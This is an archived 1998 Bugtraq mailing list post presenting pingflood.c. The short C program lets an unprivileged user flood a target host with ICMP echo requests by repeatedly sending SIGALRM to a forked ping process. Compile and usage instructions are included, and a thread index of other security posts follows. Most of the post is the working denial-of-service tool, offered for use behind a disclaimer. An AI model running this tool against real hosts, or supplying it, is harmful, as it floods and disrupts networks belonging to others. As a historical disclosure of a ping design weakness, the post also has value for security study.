Bugtraq mailing list archives
pingflood.c
From: md5330 () MCLINK IT (AntireZ)
Date: Thu, 9 Apr 1998 13:03:04 +0200
/*
pingflood.c by (AntireZ) Salvatore Sanfilippo <md5330 () mclink it>
enhanced by David Welton <davidw () cks com>
I tested it only on Linux RedHat 4.1 and 5.0.
David Welton tested it on Debian GNU/Linux and OpenBSD reporting
it works.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; version 2 of the License.
-------------------------------------------------------------------------
pingflood.c allows non-root users to 'ping flood'.
use it as follows:
pingflood <hostname>
WARNING: this program is only for demonstrative use only. USE IT AT
YOUR
OWN RISK! The authors decline all responsibility for
damage caused by misuse of the program.
*** if you use this program to cause harm to others, you are very
small, petty and pathetic. ***
to compile: gcc -o pingflood pingflood.c
-------------------------------------------------------------------------
TECHNICAL NOTES
When ping runs it normally sends an ICMP ECHO_REQUEST every second.
It accomplishes this using the alarm system call and waiting for a
SIGALRM
signal
from the kernel.
Pingflood simply sends a lot of SIGALRM signals to the ping process.
It can
do this because the ping process is owned by the user.
Salvatore Sanfilippo
*/
#include <signal.h>
#define PING "/bin/ping"
main( int argc, char *argv[] )
{
int pid_ping;
if (argc < 2) {
printf("use: %s <hostname>\n", argv[0]);
exit(0);
}
if(!(pid_ping = fork()))
execl(PING, "ping", argv[1], NULL);
if ( pid_ping <=0 ) {
printf("pid <= 0\n");
exit(1);
}
sleep (1); /* give it a second to start going */
while (1)
if ( kill(pid_ping, SIGALRM) )
exit(1);
}
Current thread:
- Re: Bay Networks Security Hole Berislav Todorovic (May 11)
- <Possible follow-ups>
- Re: Bay Networks Security Hole Kirby Dolak (May 14)
- Re: Bay Networks Security Hole Gert Doering (May 14)
- security holes, notification protocols, and a clarification Michael Tiemann (May 14)
- pingflood.c AntireZ (Apr 09)
- Re: pingflood.c Solar Designer (May 18)
- Toshiba notebooks BIOS password backdoor Rop Gonggrijp (May 15)
- Re: Toshiba notebooks BIOS password backdoor Aleph One (May 15)
- May SysAdmin man.sh security hole Aleph One (May 16)
- kde exploit Catalin Mitrofan (May 16)
- Re: kde exploit Aleph One (May 16)
- Re: security holes, notification protocols, and a clarification Elmer Joandi (May 15)
- Re: security holes, notification protocols, and a clarification Nathan Neulinger (May 15)
